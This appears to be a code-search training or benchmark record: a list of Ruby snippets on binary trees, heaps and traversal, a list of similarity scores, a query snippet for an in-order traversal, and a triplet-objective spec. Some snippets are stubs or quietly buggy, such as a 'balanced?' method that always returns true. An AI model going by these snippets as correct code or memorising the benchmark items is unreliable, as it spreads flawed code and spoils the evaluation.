"def convert_linked_list_to_balanced_BST(head, length)\n \n # trivial case\n # return immediately\n if head.nil? || length == 0\n return nil\n end\n\n puts \"working on head = #{head.value}\" if $debug\n \n left_half_size = (length - 1) / 2\n right_half_size = length - 1 - left_half_size\n puts \"left_half_size = #{left_half_size} right_half_size = #{right_half_size}\" if $debug\n \n root = head\n i = 0\n while i < left_half_size\n puts \"shift to #{root.value}\" if $debug\n root = root.right\n i += 1\n end\n \n # now leaf_tail points to the end of left sub-list\n puts \"splitting on root = #{root.value}\" if $debug\n \n # convert the left sub-list\n left_child = convert_linked_list_to_balanced_BST(head, left_half_size)\n # convert the right sub-list\n right_child = convert_linked_list_to_balanced_BST(root.right, right_half_size)\n # connect children to their paret\n root.left = left_child\n root.right = right_child\n puts \"build up sub-tree rooted on #{root.value}\" if $debug\n # return the root of BST\n return root\nend",
"def countDown(root = @root)\r\n #if there are no children, return one to count that node\r\n return 1 if not root.children.any?\r\n #array to store each possible depth\r\n branches = []\r\n root.children.each do | child |\r\n #recursively find each child and add one for each\r\n branches.push(countDown(child) + 1)\r\n end \r\n #all possible depthes are in branches, return the deepest\r\n return branches.max\r\n end",
"def build_tree(data, node=self)\n data = data.sort\n build_bin_tree(data, 0, data.length - 1, node)\n end",
"def get_diameter(node)\n return 0 if node.nil? || (node.left.nil? && node.right.nil?)\n left_height = get_height(node.left)\n right_height = get_height(node.right)\n left_diameter = get_diameter(node.left)\n right_diameter = get_diameter(node.right)\n return [left_diameter, right_diameter, left_height + right_height + 1].max\nend",
"def n_ary_trees(range=2..2, minimize=true)\n raise \"Range parameter expected\" unless range.is_a? Range\n min = range.first.to_i\n raise \"minimum branches must be at least 2\" unless min > 1\n max = range.last.to_i\n max -= 1 if range.exclude_end?\n raise \"maximum branches less than minimum branches\" if max < min\n return [] if empty?\n\n # a lambda so we can do recursion without sticking private methods in Array\n\n # all n-way branches of a\n nwb = -> (a, n) do\n n = a.length if n > a.length\n if n == 1\n [a]\n else\n rv = []\n (1..( a.length - n + 1 )).each do |i|\n a1 = a[0...i]\n r = n - 1\n nwb.call( a[i..-1], r ).each do |branches|\n branches = [branches] if r == 1\n rv << [a1.dup] + branches\n end\n end\n rv\n end\n end\n\n # faux method for recursively making n-ary trees\n nt = -> (a) do\n if a.length <= min\n [a]\n else\n rv = []\n (min..( a.length < max ? a.length : max )).each do |branchiness|\n nwb.call( a, branchiness ).each do |part|\n head, *tail = part.map{ |a2| nt.call a2 }\n if tail.any?\n head = head.map{ |t| [t] }\n tail.each do |nxt|\n h = []\n head.each do |a1|\n nxt.each do |a2|\n h << a1 + [a2]\n end\n end\n head = h\n end\n end\n rv += head\n end\n end\n rv\n end\n end\n\n trees = nt.(self)\n\n if minimize\n m = -> (t) do\n if t.is_a? Array\n if t.length == 1\n m.call( t[0] )\n else\n t.map{ |t2| m.call t2 }\n end\n else\n t\n end\n end\n\n m.call trees\n else\n trees\n end\n end",
"def balanced?(v) true; end",
"def tree\n root = Node.new(1)\n root.left = Node.new(2)\n root.right = Node.new(3)\n root.left.left = Node.new(4)\n root.left.right = Node.new(5)\n root.right.left = Node.new(6)\n root.right.right = Node.new(7)\n root.right.right.right = Node.new(8)\n root\nend",
"def build_tree(array)\n first_node = Node.new(nil, nil, array[0])\n this_node = first_node\n i = 1\n\n finished = false\n while !finished\n if array[i] == nil\n finished = true\n elsif array[i] < this_node.data\n if this_node.left_child == nil\n this_node.left_child = Node.new(nil, nil, array[i])\n this_node = first_node\n i += 1\n else\n this_node = this_node.left_child\n end\n elsif array[i] > this_node.data\n if this_node.right_child == nil\n this_node.right_child = Node.new(nil, nil, array[i])\n this_node = first_node\n i += 1\n else\n this_node = this_node.right_child\n end \n elsif array[i] == this_node.data\n i += 1\n end\n end\n return first_node\nend",
"def get_height(node)\n return 0 if node.nil?\n return 1 + [get_height(node.left), get_height(node.right)].max\nend",
"def height_nodes(root)\n return 0 if root == nil\n\n left = height_nodes(root.left)\n right = height_nodes(root.right)\n\n if left > right\n h = 1 + left\n else\n h = 1 + right\n end\n\n return h\n\nend",
"def build_tree(list)\n root = Node.new(list[0], nil)\n list[1...list.length].each do |item|\n current_node = root\n while !item.nil?\n if item > current_node.value\n if current_node.right_child.nil?\n current_node.right_child = Node.new(item, current_node)\n item = nil\n else\n current_node = current_node.right_child\n end\n elsif item < current_node.value\n if current_node.left_child.nil?\n current_node.left_child = Node.new(item, current_node)\n item = nil\n else\n current_node = current_node.left_child\n end\n else\n item = nil\n end\n end\n end\n root\nend",
"def build_tree_unsorted(arr)\n root = nil\n arr.each do |item|\n root = insert_tree(item, root)\n end\n\n root\nend",
"def in_order_traversal(tree_node, arr = [])\n return arr if tree_node == nil\n\n arr = in_order_traversal(tree_node.right, arr)\n arr << tree_node\n arr = in_order_traversal(tree_node.left, arr)\n\n arr\nend",
"def leaves_count(root)\n if root.nil?\n puts 'Empty tree'\n return\n end\n return 1 if (!root.left && !root.right)\n leaves_count = 0\n queue = QueueWithLinkedList.new\n queue.enqueue(root)\n while !queue.isEmpty?\n node = queue.dequeue\n leaves_count += 1 if !node.left && !node.right\n queue.enqueue(node.left) if node.left\n queue.enqueue(node.right) if node.right\n end\n leaves_count\n end",
"def solve\n if list_size.to_i == 1\n return BinaryTreeNode.new(@node.value), @node\n end\n\n left_tree, left_last_node = LinkedListToBSTConverter.new(@node, left_length).solve\n\n middle_node = left_last_node.next\n tree = BinaryTreeNode.new middle_node.value\n tree.left = left_tree\n\n if has_right_half?\n right_tree, right_last_node = LinkedListToBSTConverter.new(middle_node.next, right_length).solve\n tree.right = right_tree\n [tree, right_last_node]\n else\n [ tree, middle_node ]\n end\n end"
] | [
"0.69444054",
"0.68250036",
"0.68028283",
"0.6781599",
"0.67647463",
"0.6760058",
"0.6707102",
"0.66959065",
"0.6669732",
"0.6644849",
"0.65472996",
"0.65416944",
"0.65204555",
"0.6499368",
"0.6484751",
"0.64004976",
"0.6376438",
"0.6369259",
"0.6247324",
"0.6223804",
"0.6194224",
"0.61827815",
"0.616951",
"0.6167819",
"0.61642784",
"0.61479604",
"0.60484576",
"0.60152864",
"0.6000941",
"0.59789944",
"0.59768397",
"0.5925769",
"0.5906089",
"0.5882685",
"0.58657295",
"0.5849645",
"0.5775506",
"0.57520974",
"0.5732709",
"0.57272506",
"0.57241833",
"0.570565",
"0.5690197",
"0.5660609",
"0.56575555",
"0.5651928",
"0.5649939",
"0.5642297",
"0.563306",
"0.56308085",
"0.56282455",
"0.562592",
"0.5613608",
"0.5612675",
"0.56110936",
"0.55939806",
"0.5589953",
"0.5589315",
"0.5572649",
"0.5562437",
"0.5558404",
"0.555744",
"0.5548834",
"0.5543223",
"0.5539816",
"0.553727",
"0.55262184",
"0.5525722",
"0.55243194",
"0.5521823",
"0.55205464",
"0.5519099",
"0.55132425",
"0.5494636",
"0.5492857",
"0.54920924",
"0.54892117",
"0.5487713",
"0.5482432",
"0.5476281",
"0.54716784",
"0.54590887",
"0.54576665",
"0.54538906",
"0.54408604",
"0.5437802",
"0.54317784",
"0.5431037",
"0.54237914",
"0.5422656",
"0.5422171",
"0.54178727",
"0.541527",
"0.54053706",
"0.5401943",
"0.5392075",
"0.5387156",
"0.5382862",
"0.53824747",
"0.5381027",
"0.5374042"
] | 0.0 | -1 |
Time Complexity: O(n) where n is the height of the tree Space Complexity: O(n) where n is the height of the tree potentially O(n^2) with the arrays? | def inorder
array = []
return [] if @root.nil?
current = @root
return inorder_recursive(current, array)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def dp_possible_trees(n)\n array = Array.new(n+2) { Array.new(n+1) { 0 } }\n (0...n+2).to_a.each do |i|\n array[i][0] = 1\n end\n\n sum = 0\n (1...n+1).to_a.each do |i|\n sum = 0\n (1..i).to_a.each do |j|\n array[j][i] = array[n+1][i-j] * array[n+1][j-1]\n sum += array[j][i]\n end\n array[n+1][i] = sum\n end\n array[n+1].last\nend",
"def build_tree(input_array)\n sorted_set = input_array.sort.uniq\n build_tree_aux(sorted_set, 0, sorted_set.length - 1)\n end",
"def build_tree(arr)\n\tend",
"def produce_tree(ary); end",
"def build_tree(array)\n array.sort!.uniq!\n left = 0\n right = array.length\n\n return build_driver(array, left, right)\n end",
"def symmetric_tree(arr)\n rows = Hash.new([])\n n = 0\n until arr.empty?\n (2**n).times { rows[n] += [arr.shift] }\n n += 1\n end\n rows.values.each do |row|\n return false unless row == row.reverse\n end\n true\nend",
"def n_ary_trees(range=2..2, minimize=true)\n raise \"Range parameter expected\" unless range.is_a? Range\n min = range.first.to_i\n raise \"minimum branches must be at least 2\" unless min > 1\n max = range.last.to_i\n max -= 1 if range.exclude_end?\n raise \"maximum branches less than minimum branches\" if max < min\n return [] if empty?\n\n # a lambda so we can do recursion without sticking private methods in Array\n\n # all n-way branches of a\n nwb = -> (a, n) do\n n = a.length if n > a.length\n if n == 1\n [a]\n else\n rv = []\n (1..( a.length - n + 1 )).each do |i|\n a1 = a[0...i]\n r = n - 1\n nwb.call( a[i..-1], r ).each do |branches|\n branches = [branches] if r == 1\n rv << [a1.dup] + branches\n end\n end\n rv\n end\n end\n\n # faux method for recursively making n-ary trees\n nt = -> (a) do\n if a.length <= min\n [a]\n else\n rv = []\n (min..( a.length < max ? a.length : max )).each do |branchiness|\n nwb.call( a, branchiness ).each do |part|\n head, *tail = part.map{ |a2| nt.call a2 }\n if tail.any?\n head = head.map{ |t| [t] }\n tail.each do |nxt|\n h = []\n head.each do |a1|\n nxt.each do |a2|\n h << a1 + [a2]\n end\n end\n head = h\n end\n end\n rv += head\n end\n end\n rv\n end\n end\n\n trees = nt.(self)\n\n if minimize\n m = -> (t) do\n if t.is_a? Array\n if t.length == 1\n m.call( t[0] )\n else\n t.map{ |t2| m.call t2 }\n end\n else\n t\n end\n end\n\n m.call trees\n else\n trees\n end\n end",
"def optimize_depth_array()\n\n @root = @all_depths[0].first[1]\n\n # for each depth in tree\n @all_depths[1..@all_depths.length-1].each do |depth|\n # for each item in depth (could be node or array of nodes)\n depth.each do |sec_id, item|\n if (item.class == Node)\n node = item\n parent = get_parent(node.path)\n parent.add_child(node)\n else # item is array of nodes\n item.each do |node|\n parent = get_parent(node.path)\n parent.add_child(node)\n end\n end\n end\n end\n\n end",
"def buildTree(node,arr)\n node.value = arr.shift\n size = (arr.size/2.0).round\n if size > 0\n left, right = arr.each_slice( size ).to_a\n if left and left.count > 0\n node.left = TreeNode.new\n buildTree(node.left, left)\n end\n if right and right.count > 0\n node.right = TreeNode.new\n buildTree(node.right, right)\n end\n end\nend",
"def num_of_arr_trees_supp(arr, start_index, end_index)\n return 1 if start_index > end_index\n i = start_index\n sum = 0\n while i <= end_index\n left_count = num_of_arr_trees_supp(arr, start_index, i - 1)\n right_count = num_of_arr_trees_supp(arr, i + 1, end_index)\n sum += left_count * right_count\n i+=1\n end\n sum\n end",
"def improving_complexity_version_three(*arrays)\n return nil if !arrays.kind_of?(Array)\n\n arrays.flatten!\n\n # Reused my heap_sort. I also refactored my heap_sort to sort in place (took an iterative approach instead of recursion).\n return heap_sort(arrays)\nend",
"def calc_tree\n tree = []\n n = 1\n while n <= @n\n result = []\n result = [[0, 1]] if n == 1\n tree.each do |row|\n line1 = []\n line2 = []\n row.each_with_index do |elem, i|\n line1 << \"#{elem}0\" if i.positive?\n line2 << \"#{elem}0\" if i.zero?\n line2 << \"#{elem}1\"\n end\n result << line1 unless row.count == 1\n result << line2\n end\n tree = result\n n += 1\n end\n tree\n end",
"def build_tree_unsorted(array)\n array.each_index{ |index|\n\n }\nend",
"def solution(t)\n # write your code in Ruby 2.2\n depth = 0\n childs = []\n\n childs << t.l if t.l\n childs << t.r if t.r\n\n while not childs.empty? do\n depth += 1\n\n cc = []\n childs.each do |t|\n cc << t.l if t.l\n cc << t.r if t.r\n end\n\n childs = cc\n end\n\n depth\nend",
"def build_tree(array, left=0, right=array.length-1)\n \n# base case\n return if left > right\n\n# from smallest to largest\n array = merge_sort(array)\n\n# middle index, make this the first node\n index_mid = left + (right-left) / 2 \n node = Node.new(array[index_mid]) \n \n# i think it's making the left node (smaller), & right (larger)\n# looks like it is recursion\n node.left_child = build_tree(array, left, index_mid-1) \n node.right_child = build_tree(array, index_mid+1, right) \n\n @tree = node\n @tree\n end",
"def cutTree(array)\n if array.sort == array\n return array.length\n end\n array_copied = array.dup\n i = 0\n count = 0\n while i <= array.length\n array = array_copied.dup\n array.delete_at(i)\n if (array == array.sort)\n count += 1\n end\n i += 1\n end\n return count\nend",
"def find_height_nodes(root) # O(n)\n return 0 if root == nil\n left_height = 1 + find_height_nodes(root.left)\n right_height = 1 + find_height_nodes(root.right)\n\n return (left_height > right_height)? left_height : right_height\nend",
"def build_tree(array)\n tree = TreeNode.new(array[0], 0)\n (1..array.length-1).each {|i|\n insert_into_tree(tree, array[i], i)\n }\n tree\nend",
"def func(node,subtree_node_index_in_array,subtree_begin_index,subtree_end_index)\n\tif subtree_begin_index == subtree_end_index\n\t\t#puts \"leaf node begin #{subtree_begin_index} and end #{subtree_end_index}\"\n\t\t#puts $inorder_array[subtree_begin_index]\n\telse\n\t\t$preorder_index = $preorder_index + 1\n\t\tleft_subtree_node_value = $preorder_array[$preorder_index]\n\t\tleft_subtree_node_index_in_array = find_index_of_value_in_in_array(left_subtree_node_value,subtree_begin_index,subtree_node_index_in_array - 1)\n\t\tleft_node = Btnode.new($inorder_array[left_subtree_node_index_in_array])\n\t\tnode.left = left_node\n\t\tfunc(left_node,left_subtree_node_index_in_array,subtree_begin_index,subtree_node_index_in_array - 1 )\n\t\t#puts \"subtree node at #{$inorder_array[subtree_node_index_in_array]}\"\n\t\t#puts $inorder_array[subtree_node_index_in_array]\n\t\t$preorder_index = $preorder_index + 1\n\t\tright_subtree_node_value = $preorder_array[$preorder_index]\n\t\tright_subtree_node_index_in_array = find_index_of_value_in_in_array(right_subtree_node_value,subtree_node_index_in_array + 1,subtree_end_index)\n\t\tright_node = Btnode.new($inorder_array[right_subtree_node_index_in_array]) \n\t\tnode.right = right_node\n\t\tfunc(right_node,right_subtree_node_index_in_array,subtree_node_index_in_array + 1,subtree_end_index)\n\tend\nend",
"def numberOfTree(op1, op2)\n width = 0;\n height = 0;\n\n File.open(\"input\").each do |line|\n width = (line.to_s.length) - 1\n height += 1\n end\n\n array_input = Array.new();\n\n File.open(\"input\").each do |line|\n i = 0\n nline = line.tr(\"\\n\",\"\").to_s * (1 + (height/(width/op2).to_i))\n #array_input << line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\")+ line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\")+ line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\")+ line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\")+ line.tr(\"\\n\",\"\") + line.tr(\"\\n\",\"\")\n array_input << nline\n #puts nline\n end\n\n i = 0\n y = 0\n numberOfTree = Array.new\n while (i < height)\n numberOfTree[i] = array_input[i][y]\n p array_input[i][y]\n y+=op2\n i+=op1\n end\n hp=0\n numberOfTree.each do |p|\n if ( p == \"#\")\n hp +=1\n end\n end\n return hp\nend",
"def build_tree_arbitrary(arr)\n node = Node.new(arr[0])\n queue = [node]\n @root = node\n i = 0\n\n until queue.empty?\n node = queue.shift\n children = node_children(node, i, arr)\n queue.concat(children)\n i += 2\n end\n end",
"def height\n return 0 if is_empty\n\n queue = [@root]\n height = 0\n\n while true\n node_count = queue.length\n\n return height if node_count == 0\n\n height += 1\n\n while node_count > 0\n node = queue.shift()\n\n queue << node.left unless node.left.nil?\n queue << node.right unless node.right.nil?\n\n node_count -= 1\n end\n end\n end",
"def build_heap(array)\n first_parent_idx = (array.length - 1) / 2\n (first_parent_idx).downto(0).each { |current_idx| \n self.sift_down(current_idx, array.length - 1, array)\n }\n return array\n end",
"def build_tree(ary)\n # If the array is sorted, the tree will not be balanced\n ary.shuffle!\n ary.each { |item| insert(item) }\n end",
"def utopian_tree_size(n)\n\n\t# Using the formula above, the solution is quite simple\n\t# (n) = (2^(m+1) - 2) + 1(1 - n mod 2), where m = ( n + n mod 2) / 2\n\n\t# Find the max M \n\tm = ( n + n % 2) / 2\n\n\t# Get the result \n\t(2**(m+1) - 2 + 1*(1 - n % 2))\nend",
"def build_tree(array)\n return nil if array.empty?\n\n mid = (array.length - 1) / 2\n node = Node.new(array[mid])\n node.left = build_tree(array[0...mid])\n node.right = build_tree(array[mid+1..-1])\n node\n end",
"def build_tree(array)\n return nil if array.empty?\n \n middle = (array.size - 1) / 2\n root_node = Node.new(array[middle])\n \n root_node.left = build_tree(array[0...middle])\n root_node.right = build_tree(array[(middle + 1)..-1])\n \n root_node\n end",
"def height(current = @root, array)\n\n end",
"def build_tree(arr)\n #take array, turn into bt with node objs\n return nil if arr.empty?\n\n mid = (arr.size - 1)/2\n current_node = Node.new(arr[mid])\n\n current_node.left = build_tree(arr[0...mid])\n current_node.right = build_tree(arr[(mid+1)..-1])\n \n current_node\n end",
"def tree_to_array(node)\n h = height(node)\n tree_arr = []\n (1..h).each do |n|\n tree_arr << node_at_a_level(node, n)\n end\n tree_arr\nend",
"def build_tree(arr)\n\ntree = []\n\ntree.push(Node.new(arr[0]))\n\n arr[1..-1].each do |i|\n new_node = Node.new(i)\n\n condition = false\n current = tree[0]\n until condition == true\n if i > current.value && current.find_right_child.count == 0\n new_node.create_parent(current)\n current.create_right_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i < current.value && current.find_left_child.count == 0\n new_node.create_parent(current)\n current.create_left_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i > current.value && current.find_right_child.count == 1\n current = current.find_right_child[0]\n elsif i < current.value && current.find_left_child.count == 1\n current = current.find_left_child[0]\n end\n end\n end\n tree\nend",
"def build_tree_unsorted(arr)\n root = nil\n arr.each do |item|\n root = insert_tree(item, root)\n end\n\n root\nend",
"def size(tree)\n if isEmpty?(tree)\n 0\n else\n 1 + size(tree.left) + size(tree.right)\n end\nend",
"def build_tree(array)\n first_node = Node.new(nil, nil, array[0])\n this_node = first_node\n i = 1\n\n finished = false\n while !finished\n if array[i] == nil\n finished = true\n elsif array[i] < this_node.data\n if this_node.left_child == nil\n this_node.left_child = Node.new(nil, nil, array[i])\n this_node = first_node\n i += 1\n else\n this_node = this_node.left_child\n end\n elsif array[i] > this_node.data\n if this_node.right_child == nil\n this_node.right_child = Node.new(nil, nil, array[i])\n this_node = first_node\n i += 1\n else\n this_node = this_node.right_child\n end \n elsif array[i] == this_node.data\n i += 1\n end\n end\n return first_node\nend",
"def solution(h)\n n = h.size\n return 0 if n == 0\n stack = [h.first]\n blocks = 0\n (1...n).each { |y|\n if h[y] != stack.last\n while !stack.empty? && h[y] < stack.last\n stack.pop\n blocks += 1\n end\n stack << h[y] unless stack.last == h[y]\n end # != last\n }\n blocks += stack.count\nend",
"def mk_tree(ch_arr)\n\t# set up top node based on smallest 2 values\n\ttop = Node.new # initial top node; no values yet\n\tmins = min_vals(ch_arr, 2)\n\tputs mins[0], mins[1]\n\tputs ch_arr[mins[0]]\n\tputs ch_arr[mins[1]]\n\ttop.set_left(Node.new(ch_arr[mins[0]], mins[0]))\n\ttop.set_right(Node.new(ch_arr[mins[1]], mins[1]))\n\ttop.set_count(ch_arr[mins[0]] + ch_arr[mins[1]])\n\tch_arr.delete(mins[0])\n\tch_arr.delete(mins[1])\n\t# build tree based upon current top node and next smallest value; repeat until no values left in hash\n\twhile(ch_arr.length >= 1)\n\t\ttemp = Node.new # temporary new node; this will become the top node\n\t\tmin = min_vals(ch_arr, 1)\n\t\tputs min\n\t\tputs ch_arr[min]\n\t\t# if top node's value is less than lowest number, put it on left; otherwise, put it on right\n\t\t#puts top.get_count, ch_arr[min]\n\t\tif(top.get_count <= ch_arr[min])\n\t\t\ttemp.set_left(top)\n\t\t\ttemp.set_right(Node.new(ch_arr[min], min))\n\t\telse\n\t\t\ttemp.set_left(Node.new(ch_arr[min], min))\n\t\t\ttemp.set_right(top)\n\t\tend\n\t\ttemp.set_count(ch_arr[min] + top.get_count)\n\t\ttop = temp\n\t\tch_arr.delete(min)\n\tend\n\t# return reference to top node\n\treturn top\nend",
"def fitness\n -(0..5).map{|t| \n $pors_store = 0 # reset store\n t_val = t\n values = {:rec=>proc{$pors_store},:T=>proc{ cv=t_val; t_val=0; cv} } # using T destroys T\n (eval_genes(values) - N*t).abs \n }.sum - 0.1*size # find a tree that multiplies T by 3\n end",
"def build_heap(array)\n first_parent_index = (array.length - 2) / 2\n (first_parent_index..0).each do |current_index|\n sift_down(current_index, array.length - 1, array)\n end\n end",
"def build_tree array\n\t\t@root = Node.new(array.shift)\n\t\tparent = @root\n\t\tarray.each do |el|\n\t\t\twhile true\n\t\t\t\tif el <= parent.value\n\t\t\t\t\tif parent.left_child.nil?\n\t\t\t\t\t\tparent.left_child = Node.new(el,parent)\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\tparent = parent.left_child\n\t\t\t\t\tend\n\t\t\t\telsif el > parent.value\n\t\t\t\t\tif parent.right_child.nil?\n\t\t\t\t\t\tparent.right_child = Node.new(el,parent)\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\tparent = parent.right_child\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def display_tree(an_array)\r\n an_array.length\r\n count = 1\r\n (count - 1).upto(count) do\r\n end\r\nend",
"def height\n height_recursive(@root)\n end",
"def build_tree array\n\t\t@root = Node.new array[0]\n\t\t@nodes += 1\n\t\tarray[1..-1].each do |var|\n\t\t\tinsert(@root,var)\n\t\tend\n\tend",
"def build_tree(arr, root, i, n)\n\tif i < n\n\t\troot = TreeNode.new(arr[i])\n\t\troot.left = build_tree(arr, root.left, i*2+1, n)\n\t\troot.right = build_tree(arr, root.right, i*2+2, n)\n\tend\n\treturn root\nend",
"def build_tree(data_array)\n root = nil\n \n data_array.each do |elem|\n cur_node = root\n \n node = Node.new(elem)\n\tnode.children = Array.new(2, nil)\n\t\n\twhile !cur_node.nil?\n\t if elem < cur_node.value\n\t if cur_node.children[0].nil?\n\t\t node.parent = cur_node\n\t\t cur_node.children[0] = node\n\t\t cur_node = node\n\t\tend\n\t\tcur_node = cur_node.children[0]\n\t else\n\t if cur_node.children[1].nil?\n\t\t node.parent = cur_node\n\t\t cur_node.children[1] = node\n\t\t cur_node = node\n\t\tend\n\t\tcur_node = cur_node.children[1]\n\t end\n\tend\n\t\n\troot ||= node\n\t \n end\n \n root\nend",
"def in_order_traverse(tree, array)\n if !tree.nil?\n in_order_traverse(tree.left, array)\n array.append(tree.value)\n in_order_traverse(tree.right, array)\n end\n return array\n\n\nend",
"def hierarchies(array)\n count = 0\n array.reduce([]) { |acc, value| acc << array.slice(0, count += 1) }\n end",
"def build_tree( arr, first_index = 0, last_index = arr.length - 1 )\n return nil if first_index > last_index\n \n middle_of_array = (first_index + last_index)/2\n \n root = Node.new(arr[middle_of_array])\n \n root.left_child = build_tree(arr, first_index, middle_of_array - 1)\n root.right_child = build_tree(arr, middle_of_array + 1, last_index)\n \n return root \n end",
"def height_edges(root)\n return -1 if root == nil\n\n left = height_edges(root.left)\n right = height_edges(root.right)\n\n if left > right\n h = 1 + left\n else\n h = 1 + right\n end\n\n return h\n\nend",
"def challenge4\n\t@size = length(@rootNode)\n\tputs \"Challenge #4 solution: \"\n\tputs \"Number of nodes in tree: \" + @size.to_s\n\tputs \"-----------------------------------\"\nend",
"def build_tree(tree_size, input)\n nodes = Array.new(tree_size) { Node.new(nil, nil, nil) }\n\n tree_size.times do |i|\n line = input.next\n val, left, right = line.chomp.split.map(&:to_i)\n nodes[i].val = val\n nodes[i].left = nodes[left] unless left == -1\n nodes[i].right = nodes[right] unless right == -1\n end\n \n nodes.first\nend",
"def build_tree( n , d )\n \n if d.key?('v')\n n < d['v'] ? build_tree(n , d['l']) : build_tree(n, d['r'])\n else\n d['l'] = {}\n d['v'] = n\n d['r'] = {}\n end\n \nend",
"def post_order_traverse(tree, array)\n if !tree.nil?\n post_order_traverse(tree.left, array)\n post_order_traverse(tree.right, array)\n array.append(tree.value)\n end\n \n return array\n\nend",
"def sortByHeight(a)\n treeArray = Array.new\n \n b = a.sort\n b = b.select {|item| item != -1}\n \n for i in 0..(a.count-1)\n if a[i] != -1\n num = b.shift\n a[i] = num\n end\n end\n \n a\nend",
"def tes_gettree\n tree = []\n Accounts.matches_by_account_id(0).to_a.each { |a|\n a.get_tree { |b| tree.push b.rev_index }\n }\n tree_d = []\n Accounts.matches_by_account_id(0).to_a.each { |a|\n a.get_tree_debug { |b| tree_d.push b.rev_index }\n }\n\n assert_equal 389, tree.count\n assert_equal 389, tree_d.count\n end",
"def build_tree_helper(arr)\n\treturn Node.new(arr[0]) if arr.size == 1\n\tnode = Node.new(arr.slice!(arr.size / 2))\n\ttree = build_tree(arr)\n\tuntil (node.value > tree.value && tree.right_child.nil?) || (node.value <= tree.value && tree.left_child.nil?)\n\t\ttree = node.value > tree.value ? tree.right_child : tree.left_child\n\tend\n\tif node.value > tree.value\n\t\ttree.right_child = node\n\t\tnode.parent = tree\n\telse\n\t\ttree.left_child = node\n\t\tnode.parent = tree\n\tend\nend",
"def sorted_array\n result = []\n stack = [root]\n until stack.empty?\n current = stack.shift\n result << current.value unless current.value.nil?\n stack << current.left_child unless current.left_child.nil?\n stack << current.right_child unless current.right_child.nil?\n end\n result.sort\n end",
"def build_tree_2(data_array)\n root = nil\n \n data_array.each do |elem|\n node = insert_node(root, nil, elem) \n\troot ||= node\n end\n \n root\nend",
"def with_rows_and_height\n root = self\n queue = [root]\n visited = []\n\n until queue.empty?\n current = queue.shift\n adjacency_list = current.children\n\n self.height += 1\n adjacency_list.each do |node|\n root.rows << (node.nil? ? \"x\" : node.value)\n next if node.nil?\n visited << node.value\n\n if node.distance == Float::INFINITY\n node.distance = current.distance + 1\n node.parent = current\n queue.push(node)\n end\n end\n end\n\n self\n end",
"def build_tree_from_sorted(arr)\n return nil if arr.empty?\n left, right, middle = get_left_right_middle(arr)\n @root = Node.new(middle)\n make_children(@root, left)\n make_children(@root, right)\n end",
"def build_tree(array)\n\t\t@root = Node.new(array[0])\n\t\ttemp_root = @root\n\n\t\tarray[1..-1].each do |node_value|\n\t\t\tinsert_node(node_value, temp_root)\n\t\tend\n\tend",
"def build_tree(sorted_array)\n return if sorted_array.length.zero?\n\n return Node.new(sorted_array[0]) if sorted_array.length == 1\n\n midpoint = (sorted_array.length - 1) / 2\n subtree_root = Node.new(sorted_array[midpoint])\n # Don't include the root in the left subtree.\n subtree_root.left = build_tree(sorted_array[0...midpoint])\n subtree_root.right = build_tree(sorted_array[midpoint + 1..-1])\n\n subtree_root\n end",
"def count_num_of_arr_trees\n print 'Please enter the numbers in array separated by space :: '\n arr = gets.split(' ')\n arr.sort!\n sum = num_of_arr_trees_supp(arr, 0, arr.length-1)\n puts \"Possible different binary trees having unique structure :: #{sum}\"\n end",
"def find_unsorted_subarray(nums)\n \nend",
"def build_tree(arr)\n if arr.empty?\n return nil\n end\n\n mid = arr.length/2\n root = Node.new(arr[mid])\n\n root.left = build_tree(arr[0...mid])\n root.right = build_tree(arr[(mid+1)..-1])\n\n root\nend",
"def object_tree\n head, *rest = array_tree\n object_subtree(head,rest)\n end",
"def make_quadtree(pixels, width, height)\n $count = 0\n def make_quadtree_r(pixels, x, y, w, h)\n sum = 0\n (0..w-1).each do |x_off|\n (0..h-1).each do |y_off|\n sum += pixels[x+x_off][y+y_off]\n end\n end\n # all black or white test\n if sum == 0\n $count += 1\n sides = [\n CP::Shape::Segment.new($static_body, CP::Vec2.new(x,y), CP::Vec2.new(x+w,y), 0.1),\n CP::Shape::Segment.new($static_body, CP::Vec2.new(x+w,y), CP::Vec2.new(x+w,y+h), 0.1),\n CP::Shape::Segment.new($static_body, CP::Vec2.new(x+w,y+h), CP::Vec2.new(x,y+h), 0.1),\n CP::Shape::Segment.new($static_body, CP::Vec2.new(x,y+h), CP::Vec2.new(x,y), 0.1),\n ]\n sides.each{|x| x.e = 1.0; $space.add_static_shape(x)}\n Quadtree.new(0, nil, nil, nil, nil)\n elsif sum == 255*w*h\n $count += 1\n Quadtree.new(1, nil, nil, nil, nil)\n else\n Quadtree.new(nil, \n make_quadtree_r(pixels, x, y, w/2, h/2),\n make_quadtree_r(pixels, x+w/2, y, w/2, h/2),\n make_quadtree_r(pixels, x, y+h/2, w/2, h/2),\n make_quadtree_r(pixels, x+w/2, y+h/2, w/2, h/2))\n end\n end\n tree = make_quadtree_r(pixels, 0, 0, width, height)\n puts \"Number of nodes: #{$count} vs #{width*height} for full data (#{$count.to_f/(width*height)*100}%)\"\n tree\nend",
